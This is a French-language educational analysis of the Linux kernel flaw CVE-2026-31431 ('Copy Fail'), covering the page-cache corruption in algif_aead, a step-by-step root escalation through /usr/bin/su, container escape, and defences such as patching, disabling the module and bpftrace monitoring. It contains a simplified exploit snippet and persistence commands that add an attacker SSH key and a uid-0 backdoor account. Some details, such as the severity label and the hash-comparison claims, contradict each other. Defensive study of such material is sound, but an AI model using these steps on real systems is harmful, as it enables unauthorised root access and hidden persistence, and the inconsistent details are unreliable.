
Analyse détaillée de la vulnérabilité Copy Fail (CVE-2026-31431) dans le noyau Linux, incluant le mécanisme de corruption mémoire, le flux d'élévation de privilèges et l'impact sur la sécurité.
Analyse pédagogique de la vulnérabilité Copy Fail dans le noyau Linux.
Couvre le mécanisme de corruption mémoire, le flux d'élévation de privilèges, l'évasion de conteneur et les contre-mesures défensives.
Ce dépôt est destiné uniquement à des fins éducatives et de recherche.
N'utilisez pas ces informations sur des systèmes qui ne vous appartiennent pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite de test.
Tous les extraits de code et commandes sont fournis strictement pour aider à comprendre les mécanismes internes du noyau Linux.
CVE-2026-31431, également connue sous le nom de Copy Fail, est une vulnérabilité du noyau Linux où un utilisateur local non privilégié peut passer à root sans aucune permission spéciale.
L'attaque opère entièrement en RAM. Le fichier sur disque n'est jamais touché — les empreintes de fichiers restent propres, les horodatages sont inchangés et les journaux d'audit n'enregistrent rien. Lorsque le système redémarre, toutes les preuves disparaissent.
Utilisateur normal → exploit du bug algif_aead → écrasement du cache de pages → root
Propriétés clés :
/usr/bin/su — Le binaire ciblesu (Switch User) permet à un utilisateur de basculer vers un autre compte — généralement root. C'est un binaire SetUID :
ls -l /usr/bin/su
# -rwsr-xr-x 1 root root 68208 Jan 1 2026 /usr/bin/su
# ^-- 's' = indicateur SetUID
L'indicateur s signifie : lorsque n'importe quel utilisateur exécute ce binaire, il s'exécute avec les permissions de root. Cela en fait une cible de grande valeur.
Sa logique interne (simplifiée) :
if (password_correct()) {
give_root_access();
} else {
deny_access();
}
L'objectif de l'attaque : contourner entièrement la vérification password_correct().
Lorsque Linux lit un fichier depuis le disque, il en conserve une copie en RAM appelée le cache de pages.
| Composant | Description |
|---|---|
| Disque | Fichier original sur disque (l'étagère de bibliothèque) |
| Cache de pages | Copie RAM du fichier (la photocopie sur votre bureau) |
| CPU | Lit et exécute depuis le cache de pages — rapide |
| Attaquant | Modifie la copie RAM ; le disque reste intact |
cat /proc/meminfo | grep Cached
# Cached: 1234567 kB ← c'est le cache de pages
| Type | Sécurité |
|---|---|
| Tampon sûr — alloué par le noyau, taille et limites contrôlées | ✅ OK |
| Cache de pages — copie RAM adossée à un fichier, partagée, exécutable | ⚠️ DANGEREUX si écrit |
| Pointeur erroné — adresse causée par un bug pointant n'importe où | 🔴 CRITIQUE |
AF_ALG (Algorithm Family) est une interface socket Linux qui permet aux programmes en espace utilisateur d'utiliser les fonctions cryptographiques du noyau (AES, SHA, AEAD).
socket(AF_ALG, SOCK_SEQPACKET, 0); // ouvre une socket cryptographique
algif_aead est le module du noyau qui gère le chiffrement AEAD (par ex. AES-GCM) via AF_ALG. La vulnérabilité réside dans son étape de copie de données.
AF_ALG → algif_aead → moteur AES-GCM → tampon de sortie
↑
LE BUG EST ICI
Le bug n'est pas dans la logique de chiffrement. Il est dans la gestion mémoire — la mauvaise région mémoire est sélectionnée lors d'une copie de données.
destination = safe_output_buffer; // emplacement correct
memcpy(destination, user_data, size); // données écrites en toute sécurité
destination = buffer + WRONG_OFFSET; // BUG : mauvais pointeur !
memcpy(destination, user_data, size); // les données atterrissent dans le cache de pages
Le noyau était censé écrire dans le tampon de sortie sûr. En raison d'un décalage mal calculé, il écrit dans le cache de pages — qui contient la copie RAM de /usr/bin/su.
Le binaire contient du code machine x86-64. L'attaquant cible le saut conditionnel qui déclenche l'échec d'authentification :
Avant l'attaque :
cmp eax, 0 ; vérifie la valeur de retour
jne 0x1234 ; si échec → saute vers le refus
call give_root ; accorde root
Après l'attaque (2 octets modifiés en RAM) :
cmp eax, 0 ; identique
90 90 ; NOP NOP ← saut remplacé, vérification contournée !
call give_root ; le CPU arrive directement ici
NOP = No Operation (aucune opération). Le CPU ne fait rien et avance — contournant entièrement la vérification d'authentification.
« Je n'ai besoin que d'un compte utilisateur normal. Le noyau fera l'erreur lui-même.
Le disque reste propre. Aucun journal. Fonctionne à chaque fois. »
whoami && id
# uid=1000(user) gid=1000(user) ← utilisateur normal
uname -r
# 6.1.0-generic ← dans la plage vulnérable
ls -la /usr/bin/su
# -rwsr-xr-x root root ← SetUID confirmé
python3 -c "import socket; s = socket.socket(socket.AF_ALG); print('AF_ALG disponible')"
cat /usr/bin/su > /dev/null
# /usr/bin/su est maintenant chargé dans le cache de pages ✓
xxd /usr/bin/su | head -50
objdump -d /usr/bin/su | grep -A 20 'check\|auth\|pass'
readelf -h /usr/bin/su
Recherche : l'adresse de la fonction d'authentification, le saut conditionnel jne/jnz, et son décalage d'octet exact.
import socket, struct
sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
sock.bind(('aead', 'gcm(aes)', 0, 16))
sock.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY, b'A' * 16)
payload = b'\x90\x90' # NOP NOP — remplace le saut conditionnel
conn = sock.accept()
conn[0].sendmsg([payload], [(socket.SOL_ALG, socket.ALG_SET_IV, ...)])
# Noyau en interne (simplifié) :
destination = buffer + crafted_offset # BUG : mauvais pointeur
memcpy(destination, payload, 2) # octets NOP écrits dans le cache de pages
# La vérification du mot de passe de /usr/bin/su est maintenant NOP NOP en RAM
su
# Mot de passe : (n'importe quoi — ou appuyez simplement sur Entrée)
# root@victime:/# ← ROOT OBTENU
Ce qui s'est passé : Le système a exécuté /usr/bin/su depuis la RAM. La vérification du mot de passe était NOP. Le CPU l'a contournée. give_root() a été appelé directement.
echo 'clé_publique_attaquant' >> /root/.ssh/authorized_keys
useradd -o -u 0 -g 0 backdoor
echo 'backdoor:password' | chpasswd
Après l'attaque, un enquêteur forensique trouve :
sha256sum /usr/bin/su # MÊME empreinte qu'avant ← disque intact
diff /usr/bin/su backup/su # Aucune différence
grep -r 'attack' /var/log/ # Rien
journaux auditd # Aucune écriture de fichier enregistrée
Au redémarrage, la RAM est vidée — toutes les preuves ont disparu.
Les conteneurs isolent l'espace utilisateur — mais le noyau est partagé, et le cache de pages est une mémoire du noyau.
Noyau hôte
├── Conteneur 1 (espace utilisateur isolé)
│ └── L'attaquant est ici
├── Conteneur 2
└── Processus hôte
Cache de pages : PARTAGÉ entre tous les conteneurs et l'hôte !
Chemin d'évasion : L'attaquant dans le Conteneur 1 lit /usr/bin/su de l'hôte → déclenche le bug → le binaire hôte en RAM est modifié → exécuter su sur l'hôte donne root sur la machine hôte.
Concernés : Docker, Podman, LXC, Kubernetes (nœuds partagés) — si le noyau hôte est vulnérable.
Ce sont des exercices d'observation uniquement. Utilisez un environnement de laboratoire (Docker + VM avec ancien noyau) pour tout test.
free -h # notez la valeur Cache avant
cat /usr/bin/su > /dev/null # chargez le fichier dans le cache de pages
free -h # Cache augmente légèrement
su &
sleep 1
PID=$(pgrep su | head -1)
cat /proc/$PID/maps | grep su
xxd /usr/bin/su | head -20
strings /usr/bin/su | grep -E 'pass|auth|root|fail'
sudo apt install gdb -y
gdb /usr/bin/su
(gdb) disassemble main
(gdb) info functions
(gdb) quit
sha256sum /usr/bin/su
# Identique au disque normalement — diffère après une attaque réussie
# La comparaison /proc/PID/mem nécessite root
Priorité 1 — Mise à jour du noyau (meilleure solution)
# Ubuntu / Debian
sudo apt update && sudo apt upgrade linux-image-$(uname -r)
sudo reboot
# RHEL / CentOS
sudo yum update kernel
sudo reboot
Priorité 2 — Désactiver algif_aead
sudo modprobe -r algif_aead
echo 'install algif_aead /bin/false' | \
sudo tee /etc/modprobe.d/disable-algif-aead.conf
Priorité 3 — Contrôles d'accès
Appliquez des profils seccomp avec SystemCallFilter dans les services systemd pour restreindre l'accès aux sockets AF_ALG pour les processus non fiables.
sudo bpftrace -e '
kprobe:algif_aead_sendmsg {
printf("ALERTE : sendmsg algif_aead par PID %d (utilisateur %d)\n", pid, uid);
}
'
# Exécuter avec un profil seccomp (bloque AF_ALG)
docker run --security-opt seccomp=custom-profile.json my-image
restrictedCVE-2026-31431 combine furtivité (disque inchangé) + fiabilité (aucune condition de course) + évasion de conteneur — ce qui la rend particulièrement dangereuse dans sa catégorie.
algif_aead s'il n'est pas requisDans CVE-2026-31431, le module cryptographique de Linux (
algif_aead) présente un bug de copie mémoire qui fait atterrir des données contrôlées par l'attaquant dans le cache de pages au lieu du tampon de sortie sûr — modifiant silencieusement un binaire SetUID en RAM — permettant à tout utilisateur local d'obtenir un accès root sans laisser la moindre trace sur le disque.
Ce document est préparé pour la compréhension pédagogique des mécanismes internes de sécurité du noyau Linux.
— À des fins éducatives uniquement —
| Champ | Valeur |
|---|
| ID CVE | CVE-2026-31431 |
| Nom courant | Copy Fail / Corruption du cache de pages algif_aead |
| Score CVSS v3.1 | 7.8 — CRITIQUE |
| Type d'attaque | Élévation de privilèges locale (LPE) |
| Versions du noyau affectées | Linux 5.10 à 6.8 (environ) |
| Composant vulnérable | crypto/algif_aead.c — interface socket AF_ALG |
| Fiabilité de l'exploitation | ÉLEVÉE — Aucune condition de course requise |
| Preuve sur disque | AUCUNE — modification en RAM uniquement |
| Impact conteneur | OUI — Évasion hôte via le cache de pages partagé |
| État du correctif | Disponible (correctif du noyau en amont publié) |
| CVE | Condition de course ? | Disque sûr ? | Fiabilité |
|---|
| CVE-2016-5195 DirtyCow | OUI — synchronisation requise | NON — disque modifié | Moyenne |
| CVE-2022-0847 DirtyPipe | Minimale | OUI — RAM uniquement | Élevée |
| CVE-2026-31431 Copy Fail | NON — écriture directe | OUI — RAM uniquement | TRÈS ÉLEVÉE |
| Méthode de détection | Fonctionne ? |
|---|
| sha256sum / empreinte de fichier | ❌ Le disque est identique |
| Horodatage de modification du fichier | ❌ Disque intact |
| Journaux d'écriture de fichiers auditd | ❌ Aucune écriture disque n'a eu lieu |
Inspection de la mémoire des processus (/proc) | ✅ Uniquement si surveillée en temps réel |
| Surveillance du noyau eBPF | ✅ Détection au niveau des appels système |
| Forensique mémoire (LiME) | ✅ Mais complexe |
| Méthode | Commande / Approche |
|---|
| Version du noyau | uname -r → comparer avec la version corrigée |
| Module chargé ? | lsmod | grep algif_aead |
| Surveillance eBPF | bpftrace -e 'kprobe:algif_aead_sendmsg { ... }' |
| Mémoire des processus | cat /proc/PID/maps — comparer avec l'empreinte disque |
| auditd | ausearch -sc socket -sv no |
| Falco | Règle : memfd inattendu ou écriture dans le cache de pages |
| Forensique mémoire | Dump LiME pour analyse post-incident |
| CVE / Nom | Condition de course ? | Disque sûr ? | Évasion de conteneur ? | Fiabilité |
|---|
| CVE-2016-5195 DirtyCow | OUI — synchronisation requise | ❌ Disque modifié | Partielle | Moyenne |
| CVE-2022-0847 DirtyPipe | Minimale | ✅ RAM uniquement | OUI | Élevée |
| CVE-2026-31431 Copy Fail | NON — écriture directe | ✅ RAM uniquement | OUI — cache partagé | TRÈS ÉLEVÉE |
| Terme | Signification |
|---|
| Élévation de privilèges | Passer d'un utilisateur normal à root sans autorisation |
| Cache de pages | Copie d'un fichier stockée en RAM, gérée par le noyau |
| Binaire SetUID | Fichier appartenant à root qui s'exécute avec les privilèges root pour tout utilisateur |
| Primitive d'écriture | Capacité d'écriture mémoire arbitraire obtenue via un bug |
| Condition de course | Attaque basée sur la synchronisation nécessitant une fenêtre d'exécution précise |
| AF_ALG | Interface socket cryptographique du noyau Linux (Algorithm Family) |
| algif_aead | Module du noyau pour le chiffrement AEAD — le composant vulnérable |
| memcpy() | Fonction de copie mémoire — déplace des données d'une adresse à une autre |
| NOP | No Operation — instruction CPU qui ne fait rien et continue |
| Évasion de conteneur | Sortir d'un conteneur pour accéder au système hôte |
| eBPF | Outil de surveillance au niveau du noyau pour la détection des appels système en temps réel |
| LiME | Linux Memory Extractor — outil de dump RAM pour analyse forensique |
| Seccomp | Secure Computing — mécanisme Linux pour restreindre les appels système |
| ELF | Executable and Linkable Format — format binaire standard Linux |
| CVE | Common Vulnerabilities and Exposures — identifiant de vulnérabilité |
| CVSS | Common Vulnerability Scoring System — notation de gravité standardisée |
| Module du noyau | Plugin du noyau (par ex. pilotes de périphériques, gestionnaires cryptographiques) |
| Décalage | Distance en octets d'un point mémoire à un autre |
| Rétro-ingénierie | Analyse d'un binaire compilé sans accès au code source |
| Étape | Action |
|---|
| 1 | whoami — confirmez que vous êtes un utilisateur normal |
| 2 | uname -r — vérifiez que le noyau est dans la plage vulnérable (5.10 – 6.8) |
| 3 | ls -la /usr/bin/su — confirmez la présence de l'indicateur SetUID |
| 4 | Exécutez le script d'exploitation : AF_ALG → algif_aead → charge utile élaborée |
| 5 | Le bug du noyau se déclenche → le cache de pages de /usr/bin/su est écrasé en RAM |
| 6 | Exécutez su → ROOT obtenu (aucun mot de passe requis) |
| 7 | Persistance : ajoutez une clé SSH ou créez un utilisateur root backdoor |